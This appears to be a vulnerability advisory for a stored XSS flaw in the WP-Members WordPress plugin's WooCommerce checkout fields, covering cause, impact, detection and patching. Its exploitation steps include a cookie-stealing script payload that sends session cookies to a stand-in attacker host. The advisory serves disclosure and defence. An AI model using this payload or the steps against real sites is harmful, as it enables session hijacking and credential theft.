CVE-2026-96565: 
WordPress vulnerability analysis and mitigation

CVE-2026-96565 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Members Membership Plugin for WordPress, affecting all versions up to and including 3.5.7. The flaw arises from a scalar bypass of the wpmem_sanitize_array sanitization function via WooCommerce Checkout Multicheckbox/Multiselect fields, allowing authenticated attackers with subscriber-level access or above to inject persistent malicious scripts. It was published on November 7, 2026, with a patch available in version 3.5.8. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically insufficient input sanitization and output escaping in the WooCommerce classic checkout path. When a scalar value is passed to wpmem_sanitize_array via a multicheckbox or multiselect checkout field, the function fails to sanitize it properly — a bypass that does not occur in the registration, profile, or account-edit handlers because those implode the value before sanitization, triggering a PHP 8 TypeError on scalar input and failing safely. The vulnerability is exploitable only through the WooCommerce classic checkout flow, limiting the attack surface but still permitting any authenticated subscriber to store malicious JavaScript. Relevant source code is visible in the plugin's Trac repository at includes/api/api-forms.php (lines 372, 530, 540) and includes/vendor/rocketgeek-utilities/includes/forms.php (line 143) (GitHub Advisory, Wordfence).

Successful exploitation allows an authenticated attacker with subscriber-level access to persistently inject arbitrary JavaScript into pages served to all site visitors who access the affected checkout or related pages. This can lead to session hijacking, credential theft, malware distribution, or unauthorized actions performed on behalf of compromised users, including administrators. Availability is not directly impacted, but confidentiality and integrity are both affected at a low-to-moderate level due to the potential for data exfiltration and page content manipulation (GitHub Advisory, Wordfence).

As of the disclosure date (November 7, 2026), there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is 0.0, reflecting a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a subscriber-level account on the target WordPress site and the presence of WooCommerce with the classic checkout path enabled (GitHub Advisory, Wordfence).

1. Reconnaissance: Identify WordPress sites running WP-Members Membership Plugin version ≤ 3.5.7 with WooCommerce and the classic checkout path enabled. Tools like WPScan can enumerate plugin versions.
2. Obtain subscriber access: Register or log in as a subscriber-level (or higher) user on the target WordPress site.
3. Navigate to WooCommerce classic checkout: Access the WooCommerce classic checkout page where WP-Members multicheckbox or multiselect custom fields are rendered.
4. Inject malicious payload: In a multicheckbox or multiselect field, submit a scalar value (rather than an array) containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>). This bypasses wpmem_sanitize_array because the function does not handle scalar input safely in this code path.
5. Payload persistence: The injected script is stored in the WordPress database as part of the user's checkout/order metadata.
6. Trigger execution: When any user (including administrators) views the affected page (e.g., order confirmation, admin order view), the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (GitHub Advisory, Wordfence).

• Logs: WordPress and WooCommerce access logs showing POST requests to the classic checkout endpoint (/checkout/) from subscriber-level accounts containing unusual or encoded script content in multicheckbox/multiselect field parameters.
• Database: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in WooCommerce order meta or WP-Members user meta fields associated with multicheckbox/multiselect inputs.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting checkout or order-related pages, potentially indicating active script exfiltration.
• File System: No direct file system artifacts expected for stored XSS, but review WordPress debug logs for PHP errors or unexpected output in the WooCommerce checkout flow.

The primary remediation is to upgrade the WP-Members Membership Plugin to version 3.5.8 or later, which includes the fix for this vulnerability (changeset available on the WordPress plugin Trac repository). As a temporary workaround, site administrators can disable WooCommerce classic checkout integration or restrict subscriber-level user registration until patching is complete. Additionally, monitoring stored checkout field data for injected scripts and reviewing WooCommerce order metadata for anomalies is recommended (GitHub Advisory, Wordfence).